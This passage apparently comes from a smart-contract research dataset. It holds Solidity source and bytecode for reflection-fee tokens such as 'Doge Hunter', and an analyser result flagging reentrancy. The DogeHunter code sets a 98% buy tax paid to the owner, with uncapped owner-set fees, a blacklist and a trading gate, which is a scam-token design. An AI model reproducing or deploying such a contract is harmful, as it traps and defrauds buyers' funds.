) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055b578063dd62ed3e1461057b578063ea1644d5146105c1578063f2fde38b146105e157600080fd5b8063a2a957bb146104d6578063a9059cbb146104f6578063bfd7928414610516578063c3c8cd801461054657600080fd5b80638f70ccf7116100d15780638f70ccf7146104525780638f9a55c01461047257806395d89b411461048857806398a5c315146104b657600080fd5b80637d1db4a5146103f15780637f2feddc146104075780638da5cb5b1461043457600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038757806370a082311461039c578063715018a6146103bc57806374010ece146103d157600080fd5b8063313ce5671461030b57806349bd5a5e146103275780636b999053146103475780636d8aa8f81461036757600080fd5b80631694505e116101ab5780631694505e1461027957806318160ddd146102b157806323b872dd146102d55780632fd689e3146102f557600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024957600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611963565b610601565b005b34801561020a57600080fd5b5060408051808201909152601081526f125b9d195c995cdd1a5b99c810dd5b1d60821b60208201525b6040516102409190611a28565b60405180910390f35b34801561025557600080fd5b50610269610264366004611a7d565b6106a0565b6040519015158152602001610240565b34801561028557600080fd5b50601454610299906001600160a01b031681565b6040516001600160a01b039091168152602001610240565b3480156102bd57600080fd5b5066038d7ea4c680005b604051908152602001610240565b3480156102e157600080fd5b506102696102f0366004611aa9565b6106b7565b34801561030157600080fd5b506102c760185481565b34801561031757600080fd5b5060405160098152602001610240565b34801561033357600080fd5b50601554610299906001600160a01b031681565b34801561035357600080fd5b506101fc610362366004611aea565b610720565b34801561037357600080fd5b506101fc610382366004611b17565b61076b565b34801561039357600080fd5b506101fc6107b3565b3480156103a857600080fd5b506102c76103b7366004611aea565b6107fe565b3480156103c857600080fd5b506101fc610820565b3480156103dd57600080fd5b506101fc6103ec366004611b32565b610894565b3480156103fd57600080fd5b506102c760165481565b34801561041357600080fd5b506102c7610422366004611aea565b60116020526000908152604090205481565b34801561044057600080fd5b506000546001600160a01b0316610299565b34801561045e57600080fd5b506101fc61046d366004611b17565b6108c3565b34801561047e57600080fd5b506102c760175481565b34801561049457600080fd5b506040805180820190915260058152641250d5531560da1b6020820152610233565b3480156104c257600080fd5b506101fc6104d1366004611b32565b61090b565b3480156104e257600080fd5b506101fc6104f1366004611b4b565b61093a565b34801561050257600080fd5b50610269610511366004611a7d565b610978565b34801561052257600080fd5b50610269610531366004611aea565b60106020526000908152604090205460ff1681565b34801561055257600080fd5b506101fc610985565b34801561056757600080fd5b506101fc610576366004611b7d565b6109d9565b34801561058757600080fd5b506102c7610596366004611c01565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cd57600080fd5b506101fc6105dc366004611b32565b610a7a565b3480156105ed57600080fd5b506101fc6105fc366004611aea565b610aa9565b6000546001600160a01b031633146106345760405162461bcd60e51b815260040161062b90611c3a565b60405180910390fd5b60005b815181101561069c5760016010600084848151811061065857610658611c6f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069481611c9b565b915050610637565b5050565b60006106ad338484610b93565b5060015b92915050565b60006106c4848484610cb7565b610716843361071185604051806060016040528060288152602001611db5602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f3565b610b93565b5060019392505050565b6000546001600160a01b0316331461074a5760405162461bcd60e51b815260040161062b90611c3a565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107955760405162461bcd60e51b815260040161062b90611c3a565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e857506013546001600160a01b0316336001600160a01b0316145b6107f157600080fd5b476107fb8161122d565b50565b6001600160a01b0381166000908152600260205260408120546106b190611267565b6000546001600160a01b0316331461084a5760405162461bcd60e51b815260040161062b90611c3a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108be5760405162461bcd60e51b815260040161062b90611c3a565b601655565b6000546001600160a01b031633146108ed5760405162461bcd60e51b815260040161062b90611c3a565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109355760405162461bcd60e51b815260040161062b90611c3a565b601855565b6000546001600160a01b031633146109645760405162461bcd60e51b815260040161062b90611c3a565b600893909355600a91909155600955600b55565b60006106ad338484610cb7565b6012546001600160a01b0316336001600160a01b031614806109ba57506013546001600160a01b0316336001600160a01b0316145b6109c357600080fd5b60006109ce306107fe565b90506107fb816112eb565b6000546001600160a01b03163314610a035760405162461bcd60e51b815260040161062b90611c3a565b60005b82811015610a74578160056000868685818110610a2557610a25611c6f565b9050602002016020810190610a3a9190611aea565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6c81611c9b565b915050610a06565b50505050565b6000546001600160a01b03163314610aa45760405162461bcd60e51b815260040161062b90611c3a565b601755565b6000546001600160a01b03163314610ad35760405162461bcd60e51b815260040161062b90611c3a565b6001600160a01b038116610b385760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062b565b6001600160a01b038216610c565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062b565b6001600160a01b038216610d7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062b565b60008111610ddf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062b565b6000546001600160a01b03848116911614801590610e0b57506000546001600160a01b03838116911614155b156110ec57601554600160a01b900460ff16610ea4576000546001600160a01b03848116911614610ea45760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062b565b601654811115610ef65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062b565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3857506001600160a01b03821660009081526010602052604090205460ff16155b610f905760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062b565b6015546001600160a01b038381169116146110155760175481610fb2846107fe565b610fbc9190611cb6565b106110155760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062b565b6000611020306107fe565b6018546016549192508210159082106110395760165491505b8080156110505750601554600160a81b900460ff16155b801561106a57506015546001600160a01b03868116911614155b801561107f5750601554600160b01b900460ff165b80156110a457506001600160a01b03851660009081526005602052604090205460ff16155b80156110c957506001600160a01b03841660009081526005602052604090205460ff16155b156110e9576110d7826112eb565b4780156110e7576110e74761122d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112e57506001600160a01b03831660009081526005602052604090205460ff165b8061116057506015546001600160a01b0385811691161480159061116057506015546001600160a01b03848116911614155b1561116d575060006111e7565b6015546001600160a01b03858116911614801561119857506014546001600160a01b03848116911614155b156111aa57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d557506014546001600160a01b03858116911614155b156111e757600a54600c55600b54600d555b610a7484848484611474565b600081848411156112175760405162461bcd60e51b815260040161062b9190611a28565b5060006112248486611cce565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069c573d6000803e3d6000fd5b60006006548211156112ce5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062b565b60006112d86114a2565b90506112e483826114c5565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133357611333611c6f565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138757600080fd5b505afa15801561139b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bf9190611ce5565b816001815181106113d2576113d2611c6f565b6001600160a01b0392831660209182029290920101526014546113f89130911684610b93565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611431908590600090869030904290600401611d02565b600060405180830381600087803b15801561144b57600080fd5b505af115801561145f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148157611481611507565b61148c848484611535565b80610a7457610a74600e54600c55600f54600d55565b60008060006114af61162c565b90925090506114be82826114c5565b9250505090565b60006112e483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166a565b600c541580156115175750600d54155b1561151e57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154787611698565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157990876116f5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a89086611737565b6001600160a01b0389166000908152600260205260409020556115ca81611796565b6115d484836117e0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161991815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061164682826114c5565b8210156116615750506006549266038d7ea4c6800092509050565b90939092509050565b6000818361168b5760405162461bcd60e51b815260040161062b9190611a28565b5060006112248486611d73565b60008060008060008060008060006116b58a600c54600d54611804565b92509250925060006116c56114a2565b905060008060006116d88e878787611859565b919e509c509a509598509396509194505050505091939550919395565b60006112e483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f3565b6000806117448385611cb6565b9050838110156112e45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062b565b60006117a06114a2565b905060006117ae83836118a9565b306000908152600260205260409020549091506117cb9082611737565b30600090815260026020526040902055505050565b6006546117ed90836116f5565b6006556007546117fd9082611737565b6007555050565b600080808061181e606461181889896118a9565b906114c5565b9050600061183160646118188a896118a9565b90506000611849826118438b866116f5565b906116f5565b9992985090965090945050505050565b600080808061186888866118a9565b9050600061187688876118a9565b9050600061188488886118a9565b905060006118968261184386866116f5565b939b939a50919850919650505050505050565b6000826118b8575060006106b1565b60006118c48385611d95565b9050826118d18583611d73565b146112e45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062b565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fb57600080fd5b803561195e8161193e565b919050565b6000602080838503121561197657600080fd5b823567ffffffffffffffff8082111561198e57600080fd5b818501915085601f8301126119a257600080fd5b8135818111156119b4576119b4611928565b8060051b604051601f19603f830116810181811085821117156119d9576119d9611928565b6040529182528482019250838101850191888311156119f757600080fd5b938501935b82851015611a1c57611a0d85611953565b845293850193928501926119fc565b98975050505050505050565b600060208083528351808285015260005b81811015611a5557858101830151858201604001528201611a39565b81811115611a67576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9057600080fd5b8235611a9b8161193e565b946020939093013593505050565b600080600060608486031215611abe57600080fd5b8335611ac98161193e565b92506020840135611ad98161193e565b929592945050506040919091013590565b600060208284031215611afc57600080fd5b81356112e48161193e565b8035801515811461195e57600080fd5b600060208284031215611b2957600080fd5b6112e482611b07565b600060208284031215611b4457600080fd5b5035919050565b60008060008060808587031215611b6157600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9257600080fd5b833567ffffffffffffffff80821115611baa57600080fd5b818601915086601f830112611bbe57600080fd5b813581811115611bcd57600080fd5b8760208260051b8501011115611be257600080fd5b602092830195509350611bf89186019050611b07565b90509250925092565b60008060408385031215611c1457600080fd5b8235611c1f8161193e565b91506020830135611c2f8161193e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611caf57611caf611c85565b5060010190565b60008219821115611cc957611cc9611c85565b500190565b600082821015611ce057611ce0611c85565b500390565b600060208284031215611cf757600080fd5b81516112e48161193e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d525784516001600160a01b031683529383019391830191600101611d2d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611daf57611daf611c85565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122018205d9ee4828dd1720f8d1e1b978081ab408fc3eaf8395d5c7cb514d68b074f64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
241
0x1227cc37bc4684b78eea130921af2a4e8734db20
/** *Submitted for verification at Etherscan.io on 2022-04-04 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract DogeHunter is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Doge Hunter"; string private constant _symbol = "QOMDOM"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 98; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x9f1F44f5b2749d1794Fa05D0D905e005302E78B8); address payable private _marketingAddress = payable(0x9f1F44f5b2749d1794Fa05D0D905e005302E78B8); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; uint256 public _maxWalletSize = 20000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b257600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195f565b6105fd565b005b34801561020a57600080fd5b5060408051808201909152600b81526a2237b3b290243ab73a32b960a91b60208201525b60405161023b9190611a24565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a79565b61069c565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b5066038d7ea4